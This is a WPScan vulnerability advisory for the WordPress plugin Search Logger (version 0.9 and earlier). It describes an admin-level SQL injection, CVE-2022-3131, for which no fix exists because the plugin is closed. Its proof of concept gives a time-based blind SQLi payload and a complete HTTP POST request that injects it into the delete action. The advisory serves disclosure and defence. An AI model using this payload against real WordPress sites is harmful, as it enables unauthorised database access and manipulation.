WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Search Logger <= 0.9 - Admin+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users

Proof of Concept

-------------------------------------------------
Go to Search Logger > Logs > Select > Delete
-------------------------------------------------

-------------------------------------------------
Payload : 1 AND (SELECT 7785 FROM (SELECT(SLEEP(5)))mkXB)
-------------------------------------------------

-------------------------------------------------
POST /wp-admin/tools.php?page=search-logger HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: /wp-admin/tools.php?page=search-logger
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

page=search-logger&s=&_wpnonce=c23125ecc5&_wp_http_referer=%2Fwp-admin%2Ftools.php%3Fpage%3Dsearch-logger&action=delete&paged=1&ids%5B%5D=1+AND+(SELECT+7785+FROM+(SELECT(SLEEP(5)))mkXB)&action2=delete 

Affects Plugins

search-logger
No known fix - plugin closed

References

CVE
CVE-2022-3131

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Mika

Submitter

Mika

Submitter website
https://mikadmin.fr/
Submitter twitter
mika_sec
Verified

Yes

WPVDB ID
b6c62e53-ae49-4fe0-aed9-0c493fc4442d

Timeline

Publicly Published

2022-09-20 (about 6 months ago)

Added

2022-09-20 (about 6 months ago)

Last Updated

2022-09-20 (about 6 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us